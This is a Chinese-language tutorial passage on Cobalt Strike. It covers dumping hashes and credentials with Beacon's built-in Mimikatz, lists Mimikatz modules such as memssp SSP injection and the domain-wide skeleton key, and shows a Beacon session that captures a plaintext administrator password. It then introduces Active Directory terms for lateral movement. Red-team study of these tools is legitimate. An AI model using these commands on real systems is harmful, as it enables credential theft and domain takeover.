3、 憑證和哈希獲取
想要獲取憑證信息,可以在管理員權限的會話處右擊選擇Access --> Dump Hashes,或者在控制臺中使用hashdump命令。
想獲取當前用戶的密碼,可以運行mimikatz,右擊管理員權限會話選擇Access --> Run Mimikatz,或在控制臺運行logonpasswords命令。
在View --> Credentials下可以查看到hashdump與mimikatz獲取的數據。
Beacon 中的 Mimikatz
在 Beacon 中集成了 mimikatz ,mimikatz 執行命令有三種形式:
mimikatz [module::command]
運行 mimikatz 命令
mimikatz [!module::command]
強制提升到 SYSTEM 權限再運行命令,因為一些命令只有在 SYSTEM 身份下才能被運行。
mimikatz [@module::command]
使用當前 Beacon 的訪問令牌運行 mimikatz 命令
下面是一些mimikatz命令。
- !lsadump::cache
獲取緩存憑證,默認情況下 Windows 會緩存最近10個密碼哈希 - !lsadump::sam
獲取本地賬戶密碼哈希,該命令與 hashdump 比較類似 - misc::cmd
如果注冊表中禁用了 CMD ,就重新啟用它 - !misc::memssp
注入惡意的 Windows SSP 來記錄本地身份驗證憑據,這個憑證存儲在“C:\windows\system32\mimilsa.log”中 - misc::skeleton
該命令僅限域內使用。該命令會給所有域內用戶添加一個相同的密碼,域內所有的用戶都可以使用這個密碼進行認證,同時原始密碼也可以使用,其原理是對 lsass.exe 進行注入,重啟后會失效。 - process::suspend [pid]
掛起某個進程,但是不結束它 - process::resume [pid]
恢復掛起的進程
以上的這些只是mimikatz能做事情的一小部分,下面看看!misc::memssp的使用。
首先運行mimikatz !misc::memssp
beacon> mimikatz !misc::memssp
[*] Tasked beacon to run mimikatz’s !misc::memssp command
[+] host called home, sent: 1006151 bytes
[+] received output:
Injected =)
接下來來到C:\Windows\system32目錄
beacon> cd C:\Windows\system32
[*] cd C:\Windows\system32
[+] host called home, sent: 27 bytes
beacon> shell dir mimilsa.log
[*] Tasked beacon to run: dir mimilsa.log
[+] host called home, sent: 46 bytes
[+] received output:
驅動器 C 中的卷沒有標簽
卷的序列號是 BE29-9C84
C:\Windows\system32 的目錄
2020/07/23 21:47 24 mimilsa.log
1 個文件 24 字節
0 個目錄 17,394,728,960 可用字節
可以看到是存在mimilsa.log文件的,此時待目標主機重新登錄,比如電腦鎖屏后用戶進行登錄。
查看mimilsa.log文件內容
beacon> shell type mimilsa.log
[*] Tasked beacon to run: type mimilsa.log
[+] host called home, sent: 47 bytes
[+] received output:
[00000000:000003e5] \
[00000000:002b99a7] WIN-75F8PRJM4TP\Administrator Password123!
0x005 橫向
通過前面的幾步操作,順利的話。基本上已經掌握了一臺或多臺計算機,并擁有一定的權限。接下來是擴大戰果的時候,這個時候,開始需要我們對自己所在的網絡有一個大致的了解,避免自己“迷路”。
以下為windows環境下的一般操作思路、工具的參考記錄。
以下命令是在主機中運行的結果,在 Cobalt Strike 中運行只需要根據命令類型在命令前加上 shell 或者 powershell。
1、名詞解釋
- 活動目錄
活動目錄Active Directory是一種能夠集中管理用戶、系統和策略的技術,活動目錄的一個重要概念就是域。
Active Directory 存儲有關網絡上對象的信息,并讓管理員和用戶可以更容易地使用這些信息。例如 Active Directory 域服務即 AD DS 存儲著有關用戶賬戶的信息,并且使同一網絡下的其他授權用戶可以訪問此信息。 - 域
域Domain即是一個管理員或者說是網絡邊界,在域里的用戶和系統都是通過 AD進行管理的。
在域里,如果想控制服務器進行操作就需要取得域的信任。 - 域控制器
域控制器Domain Controller顧名思義就是一個對域里的用戶和系統進行身份驗證的一個系統。 - 本地用戶
本地用戶Local User就是系統上的一個標準用戶。
當我們想在 Windows 命令行下指定一個本地的用戶時,可以通過輸入 .\本地用戶名或者 計算機名\本地用戶名來指定本地的用戶賬戶,其中.表示計算機名。 - 域用戶
域用戶Domain User是指域控制器下的用戶,如果想指定域用戶,可以輸入域名\域用戶名 - 本地管理員
本地管理員Local Administrator即是指在本地系統有管理權限的用戶。 - 域管理員
域管理員Domain Administrator是指在域控制器上有管理權限的用戶。
2、主機和用戶枚舉
主機枚舉
當進入目標局域網時,需要弄清楚幾個問題。
1、我正處在那個域上?
2、域信任關系是什么樣的?
3、可以登陸哪些域?這些域上有哪些系統?目標是什么?可以獲取什么?
4、系統上存放共享數據的地方在哪里?
總結
以上是生活随笔為你收集整理的Cobalt Strike 使用指南(资源整合笔记)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 如何追踪大户操作,暴躁兔链上数据复盘St
- 下一篇: 计算机网络怎么运行内存,运行内存,教您如